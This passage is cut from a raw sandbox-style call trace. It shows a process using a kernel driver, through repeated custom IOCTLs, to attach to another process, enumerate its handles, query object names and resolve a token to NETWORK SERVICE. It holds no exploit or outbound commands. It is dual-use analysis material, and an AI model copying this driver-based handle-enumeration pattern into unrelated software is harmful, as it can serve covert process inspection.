ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.004] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f97760, HandleInformation=0x0) returned 0x0 [0104.004] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.004] PsReleaseProcessExitSynchronization () returned 0x2 [0104.004] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.004] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.004] ObfDereferenceObject (Object=0xfffffa8002f97760) returned 0x1 [0104.004] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.004] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.004] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.004] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.004] PsAcquireProcessExitSynchronization () returned 0x0 [0104.004] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff88004f095d0) [0104.005] ObReferenceObjectByHandle (in: Handle=0x658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.005] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.005] PsReleaseProcessExitSynchronization () returned 0x2 [0104.005] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0104.005] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.005] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.005] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.005] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.005] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xc0 [0104.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.005] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0104.005] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0104.005] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xaf [0104.005] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa80021bc440 | out: TokenHandle=0xfffffa80021bc440*=0xc8) returned 0x0 [0104.005] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0104.005] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.005] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.005] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.018] CloseHandle (hObject=0xc8) returned 1 [0104.018] CloseHandle (hObject=0xc0) returned 1 [0104.018] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.018] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.018] PsAcquireProcessExitSynchronization () returned 0x0 [0104.018] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.018] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800306a960, HandleInformation=0x0) returned 0x0 [0104.019] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.019] PsReleaseProcessExitSynchronization () returned 0x2 [0104.019] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.019] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.019] ObfDereferenceObject (Object=0xfffffa800306a960) returned 0x1 [0104.019] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.019] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.019] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.019] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.019] PsAcquireProcessExitSynchronization () returned 0x0 [0104.019] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.019] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030da840, HandleInformation=0x0) returned 0x0 [0104.019] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.019] PsReleaseProcessExitSynchronization () returned 0x2 [0104.019] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.019] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.019] ObfDereferenceObject (Object=0xfffffa80030da840) returned 0x1 [0104.019] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.019] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.019] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.019] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.019] PsAcquireProcessExitSynchronization () returned 0x0 [0104.019] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.019] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030eeb60, HandleInformation=0x0) returned 0x0 [0104.020] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.020] PsReleaseProcessExitSynchronization () returned 0x2 [0104.020] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.020] ObQueryNameString (in: Object=0xfffffa80030eeb60, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.020] ObfDereferenceObject (Object=0xfffffa80030eeb60) returned 0x1 [0104.020] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.020] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.020] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.020] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.020] PsAcquireProcessExitSynchronization () returned 0x0 [0104.020] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.020] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030ef8b0, HandleInformation=0x0) returned 0x0 [0104.020] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.020] PsReleaseProcessExitSynchronization () returned 0x2 [0104.020] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.020] ObQueryNameString (in: Object=0xfffffa80030ef8b0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.020] ObfDereferenceObject (Object=0xfffffa80030ef8b0) returned 0x2 [0104.020] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.020] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.020] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.020] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.020] PsAcquireProcessExitSynchronization () returned 0x0 [0104.020] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.020] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030ef070, HandleInformation=0x0) returned 0x0 [0104.020] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.020] PsReleaseProcessExitSynchronization () returned 0x2 [0104.021] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.021] ObQueryNameString (in: Object=0xfffffa80030ef070, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.021] ObfDereferenceObject (Object=0xfffffa80030ef070) returned 0x2 [0104.021] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.021] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.021] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0104.021] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.021] PsAcquireProcessExitSynchronization () returned 0x0 [0104.021] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.021] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030ed700, HandleInformation=0x0) returned 0x0 [0104.021] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.021] PsReleaseProcessExitSynchronization () returned 0x2 [0104.021] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.021] ObQueryNameString (in: Object=0xfffffa80030ed700, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.021] ObfDereferenceObject (Object=0xfffffa80030ed700) returned 0x2 [0104.021] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.021] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.021] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.021] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.021] PsAcquireProcessExitSynchronization () returned 0x0 [0104.021] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.022] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030ed5b0, HandleInformation=0x0) returned 0x0 [0104.022] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.022] PsReleaseProcessExitSynchronization () returned 0x2 [0104.022] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.022] ObQueryNameString (in: Object=0xfffffa80030ed5b0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.022] ObfDereferenceObject (Object=0xfffffa80030ed5b0) returned 0x2 [0104.022] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.022] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.022] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.022] PsAcquireProcessExitSynchronization () returned 0x0 [0104.022] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.022] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f38d0, HandleInformation=0x0) returned 0x0 [0104.022] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.022] PsReleaseProcessExitSynchronization () returned 0x2 [0104.022] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.022] ObQueryNameString (in: Object=0xfffffa80030f38d0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.022] ObfDereferenceObject (Object=0xfffffa80030f38d0) returned 0x2 [0104.022] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.022] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0104.022] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.022] PsAcquireProcessExitSynchronization () returned 0x0 [0104.022] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.022] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f4f20, HandleInformation=0x0) returned 0x0 [0104.023] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.023] PsReleaseProcessExitSynchronization () returned 0x2 [0104.023] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.023] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.023] ObfDereferenceObject (Object=0xfffffa80030f4f20) returned 0x1 [0104.023] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.023] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.023] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0104.023] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.023] PsAcquireProcessExitSynchronization () returned 0x0 [0104.023] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.023] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f4690, HandleInformation=0x0) returned 0x0 [0104.023] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.023] PsReleaseProcessExitSynchronization () returned 0x2 [0104.023] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.023] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.023] ObfDereferenceObject (Object=0xfffffa80030f4690) returned 0x1 [0104.023] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.023] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.023] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.023] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.023] PsAcquireProcessExitSynchronization () returned 0x0 [0104.023] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.023] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030fb4f0, HandleInformation=0x0) returned 0x0 [0104.023] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.023] PsReleaseProcessExitSynchronization () returned 0x2 [0104.023] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.023] ObQueryNameString (in: Object=0xfffffa80030fb4f0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.023] ObfDereferenceObject (Object=0xfffffa80030fb4f0) returned 0x2 [0104.023] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.024] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.024] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.024] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.024] PsAcquireProcessExitSynchronization () returned 0x0 [0104.024] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.024] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030fd470, HandleInformation=0x0) returned 0x0 [0104.024] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.024] PsReleaseProcessExitSynchronization () returned 0x2 [0104.024] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.024] ObQueryNameString (in: Object=0xfffffa80030fd470, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.024] ObfDereferenceObject (Object=0xfffffa80030fd470) returned 0x2 [0104.024] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.024] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.024] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0104.024] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.024] PsAcquireProcessExitSynchronization () returned 0x0 [0104.024] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.024] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, 